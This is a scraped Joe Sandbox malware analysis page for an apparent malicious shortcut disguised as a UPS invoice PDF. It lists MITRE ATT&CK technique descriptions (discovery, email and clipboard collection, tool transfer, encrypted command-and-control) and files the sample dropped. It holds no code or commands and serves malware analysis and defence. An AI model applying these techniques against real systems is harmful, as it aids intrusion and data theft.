Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Invoice-UPS-218931.pdf.lnk.mal.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ae838c87-e22f-4a7f-b0cf-d5a4f1b0b085.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240702104731Z-180.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7196

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
Invoice-UPS-218931.pdf.lnk.mal.lnk

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre